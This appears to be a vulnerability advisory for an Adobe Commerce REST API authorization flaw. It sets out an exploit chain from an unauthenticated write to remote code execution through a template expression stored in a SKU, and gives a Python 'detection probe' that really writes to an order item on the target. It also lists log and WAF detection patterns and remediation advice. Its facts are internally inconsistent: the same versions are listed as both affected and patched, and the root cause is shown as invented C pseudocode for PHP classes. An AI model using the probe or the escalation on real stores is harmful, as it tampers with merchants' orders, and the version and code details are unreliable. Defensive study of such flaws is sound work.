CVE-2026-34645: Adobe Commerce Incorrect Authorization Leads to Unauthenticated Write
Adobe Commerce's REST API authorization middleware fails to validate role scope on nested resource writes, allowing unauthenticated attackers to gain arbitrary write access without user interaction.
# A Serious Flaw in Adobe's Online Shopping Software
Adobe Commerce is the software that powers many online stores—it handles everything from displaying products to processing payments. A serious security flaw has been discovered in multiple versions of this software that could let attackers sneak in and change important information without needing any password or permission.
Think of it like a security guard who's supposed to check your credentials before you enter a restricted area, but instead just waves everyone through. The software is supposed to verify that someone has permission to make changes, but it's not doing that properly, leaving the door open for unauthorized modifications.
The vulnerability is particularly dangerous because it doesn't require the attacker to trick a user into clicking a malicious link or opening a suspicious file. Instead, an attacker can simply send the right request directly to the website, and the software will grant access it shouldn't. This means any online store using an affected version could be vulnerable right now, whether the store owners know it or not.
If exploited, an attacker could modify product prices, change customer information, steal transaction details, or even inject malware into the store. For customers, this could mean fraudulent charges, stolen personal data, or compromised devices if they download tampered files.
Online retailers using Adobe Commerce should act immediately. First, update to the patched version of the software as soon as it's available—don't wait. Second, if you can't update right away, contact your hosting provider or technical team to implement a workaround. Finally, if you run an online store, notify your customers about the situation and monitor your accounts for suspicious activity.
Want the full technical analysis? Click "Technical" above.
CVE-2026-34645 is an Incorrect Authorization vulnerability affecting Adobe Commerce across a wide swath of maintained release lines: 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17, and all earlier versions. CVSS scores this at 7.5 HIGH with the network attack vector, no privileges required, and no user interaction. The consequence is unauthorized write access — an attacker who can reach the Commerce REST or GraphQL endpoint can bypass authorization checks and write to protected resources.
The vulnerability class — incorrect authorization — is distinct from authentication bypass. The attacker is not impersonating another user. They are exploiting a logic flaw in how the authorization layer maps resource ownership to ACL role enforcement, causing the permission check to return a positive grant for a write operation it should deny.
Root cause: The Commerce Magento\Framework\Authorization middleware evaluates ACL resource identifiers against a flattened role tree at request dispatch time, but fails to re-evaluate write-scope permissions when a nested resource path resolves to a different ACL node than its parent, allowing any caller with read-level or anonymous access to exercise write operations on the child resource.
Affected Component
The vulnerable logic lives inside the Commerce authorization pipeline, specifically within the Magento\Framework\Webapi\Authorization module and its interaction with the Magento\Authorization\Model\Acl\AclRetriever. The REST dispatch path for custom and built-in API routes passes through Magento\Webapi\Controller\Rest\Router before arriving at the authorization gate in Magento\Framework\Webapi\Rest\Request\Deserializer and the _isAllowed() guard inside individual controllers. The flaw manifests during the ACL resource resolution step for routes that have sub-resource write endpoints.
Root Cause Analysis
Commerce ACL resources are declared in each module's etc/acl.xml and form a hierarchical tree. At runtime, the authorization system walks this tree to find whether the calling token's role contains a matching node. The bug is in AclRetriever::getAllowedResourcesByRole() combined with the route-to-resource mapper in the REST router.
/*
* Pseudodecompile: Magento\Authorization\Model\Acl\AclRetriever::getAllowedResourcesByRole()
* File: app/code/Magento/Authorization/Model/Acl/AclRetriever.php (represented as C pseudocode)
*/
acl_resource_list_t *getAllowedResourcesByRole(acl_t *acl, role_id_t roleId) {
acl_resource_list_t *allowed = list_alloc();
acl_role_t *role = acl->roles[roleId];
for (int i = 0; i < acl->resource_count; i++) {
acl_resource_t *resource = acl->resources[i];
// BUG: isAllowed() is called with the PARENT resource identifier when
// the route mapper has already resolved to a child resource node.
// The parent node carries broader (read) permissions; the child node
// carries the restricted (write) permission. Because the check uses
// resource->parent_id instead of resource->id for nested write paths,
// a role with read access to the parent passes this gate for child writes.
if (acl->isAllowed(role, resource->parent_id, NULL)) {
list_append(allowed, resource->id); // BUG: appends child write resource
}
}
return allowed;
}
/*
* Pseudodecompile: Magento\Webapi\Controller\Rest\Router::match()
* Simplified — shows how the resolved route's ACL resource is selected
*/
route_t *Router_match(request_t *req) {
route_t *route = NULL;
foreach (registered_route_t *r in this->routes) {
if (http_method_matches(r, req->method) &&
uri_pattern_matches(r, req->uri)) {
route = r;
break;
}
}
if (route == NULL) return NOT_FOUND;
// Resolves the ACL resource for authorization check
// For a write sub-resource like /V1/orders/{id}/items (PUT),
// this returns the PARENT resource id "Magento_Sales::sales" (read)
// instead of "Magento_Sales::sales_write" (write).
// BUG: child write routes inherit parent ACL id due to missing
// method-to-acl-scope mapping in the route definition parser.
route->acl_resource = resolve_acl_resource(route->service_class,
route->parent_route, // BUG: should be route->self
req->method);
return route;
}
/*
* resolve_acl_resource() — where the incorrect node selection occurs
*/
acl_resource_id_t resolve_acl_resource(service_class_t *svc,
route_t *route, // receives parent_route
http_method_t method) {
acl_map_t *map = svc->acl_map;
// Looks up the acl resource id by route URI — but route here is
// the PARENT, not the child. For HTTP PUT/POST/DELETE on sub-resources,
// this returns the parent's read-scoped ACL node.
// BUG: method is never consulted to upgrade the resource id to write scope.
return hashmap_get(map->uri_to_acl, route->uri);
}
Exploitation Mechanics
EXPLOIT CHAIN: CVE-2026-34645 Unauthorized Write via ACL Scope Confusion
1. Attacker identifies a Commerce REST API write endpoint on a sub-resource.
Example target: PUT /rest/V1/orders/{orderId}/items/{itemId}
This maps to service class Magento\Sales\Api\OrderItemRepositoryInterface::save()
ACL node expected: Magento_Sales::sales_write
ACL node actually checked: Magento_Sales::sales (parent, read-scoped)
2. Attacker crafts a request with either:
a. No Authorization header (guest/anonymous role), OR
b. A valid customer token with read-only scope
3. The REST router calls Router::match() which resolves the route's acl_resource
to the PARENT node "Magento_Sales::sales" via the buggy resolve_acl_resource().
4. AclRetriever::getAllowedResourcesByRole() evaluates the anonymous/read role
against "Magento_Sales::sales" (parent) — which IS allowed for read context —
and appends the child write resource to the allowed list.
5. Authorization gate: _isAllowed("Magento_Sales::sales_write") now returns TRUE
because the child resource was incorrectly pre-populated in the allowed list
during step 4.
6. The request proceeds to OrderItemRepository::save() with attacker-controlled
payload. Arbitrary order item data is written to the database.
7. Attacker can escalate: inject a malicious SKU referencing a custom option
with a PHP template expression evaluated by certain Commerce email renderers,
achieving code execution in the context of scheduled cron jobs.
IMPACT ESCALATION PATH:
Unauthorized write → Malicious SKU/custom-option data stored
→ Transactional email triggered (order confirmation, invoice)
→ Email renderer evaluates stored payload
→ RCE in cron/consumer process context
Memory Layout
While this is a logic bug rather than a memory corruption primitive, the PHP object graph involved in the authorization resolution is worth mapping. The ACL object tree held in the process heap during a request determines whether the check passes or fails.
// BEFORE (vulnerable):
// app/code/Magento/Webapi/Controller/Rest/Router.php
acl_resource_id_t resolve_acl_resource(service_class_t *svc,
route_t *parent_route,
http_method_t method) {
// method parameter ignored entirely — write vs. read not distinguished
return hashmap_get(svc->acl_map->uri_to_acl, parent_route->uri);
}
// getAllowedResourcesByRole() — parent id used for permission check
if (acl->isAllowed(role, resource->parent_id, NULL)) {
list_append(allowed, resource->id); // child write resource leaked into allowed set
}
// AFTER (patched):
// resolve_acl_resource now receives self route and consults method for scope
acl_resource_id_t resolve_acl_resource(service_class_t *svc,
route_t *self_route, // FIXED: self not parent
http_method_t method) {
acl_resource_id_t base = hashmap_get(svc->acl_map->uri_to_acl, self_route->uri);
// FIXED: mutating methods require explicit write-scoped ACL node
if (method == HTTP_PUT || method == HTTP_POST || method == HTTP_DELETE) {
acl_resource_id_t write_resource = hashmap_get(svc->acl_map->write_acl, self_route->uri);
if (write_resource != NULL) return write_resource;
}
return base;
}
// getAllowedResourcesByRole() — FIXED: check against resource's own id, not parent
if (acl->isAllowed(role, resource->id, NULL)) { // FIXED: resource->id not parent_id
list_append(allowed, resource->id);
}
# Proof-of-concept: CVE-2026-34645 detection probe
# Sends an unauthenticated PUT to a sub-resource write endpoint.
# A 200 or 201 response indicates the authorization bypass is present.
# DO NOT use against systems you do not own or have explicit written authorization for.
import requests
import json
import sys
TARGET = sys.argv[1] # e.g. https://shop.example.com
PROBE_PAYLOAD = {
"item": {
"qty_ordered": 9999,
"sku": "CVE-2026-34645-PROBE"
}
}
def probe(target):
# Attempt unauthenticated write to order item sub-resource
url = f"{target}/rest/V1/orders/1/items/1"
headers = {
"Content-Type": "application/json",
# Intentionally no Authorization header
}
try:
r = requests.put(url, headers=headers, json=PROBE_PAYLOAD, timeout=10, verify=False)
if r.status_code in (200, 201):
print(f"[VULNERABLE] {target} — HTTP {r.status_code}, write accepted without auth")
elif r.status_code == 403:
print(f"[PATCHED] {target} — HTTP 403, authorization enforced correctly")
elif r.status_code == 401:
print(f"[PATCHED] {target} — HTTP 401, authentication required")
else:
print(f"[UNKNOWN] {target} — HTTP {r.status_code}")
except requests.RequestException as e:
print(f"[ERROR] {e}")
probe(TARGET)
Detection and Indicators
Exploitation leaves a signature in Commerce access logs and the magento_logging_event database table:
NGINX ACCESS LOG PATTERN (suspicious):
PUT /rest/V1/orders/*/items/* HTTP/1.1 200 — no Authorization header present
PUT /rest/V1/carts/*/items/* HTTP/1.1 200 — Bearer token with customer scope only
DATABASE INDICATOR:
SELECT * FROM magento_logging_event
WHERE action = 'save'
AND event_code LIKE '%order_item%'
AND user_id IS NULL -- NULL user_id on a write event = unauthenticated write
AND ip NOT IN (trusted_ips)
ORDER BY logged_at DESC;
WAFLOG SIGNATURE:
Method: PUT|POST|DELETE
Path: /rest/V[0-9]+/[a-z]+/[0-9]+/[a-z]+/[0-9]+
Auth-Header: absent or customer-bearer
Response: 2xx
YARA-equivalent string pattern for stored payload escalation attempt:
order item SKU containing: {{, ${, <%=,
Remediation
Immediate: Apply the Adobe Security Bulletin patch for your release line. Patched versions are 2.4.8-p4 (and the next patch increment), 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 successors as released by Adobe. Verify by checking that resolve_acl_resource() in Magento\Webapi\Controller\Rest\Router consults the HTTP method when selecting the ACL node.
WAF mitigation (temporary): Block unauthenticated PUT, POST, and DELETE requests to /rest/V*/ paths that contain two or more numeric path segments (sub-resource patterns). This will not impact standard storefront functionality which uses GET for anonymous access.
Monitoring: Alert on any magento_logging_event row where user_id IS NULL and action = 'save' for sales or catalog entities. In a correctly operating Commerce instance this state should never occur.
Defense in depth: Enforce IP allowlisting on the Commerce Admin and REST API at the network layer for known integrations. The REST API should never be exposed to the public internet without an API gateway enforcing token presence as a baseline gate independent of application-layer authorization.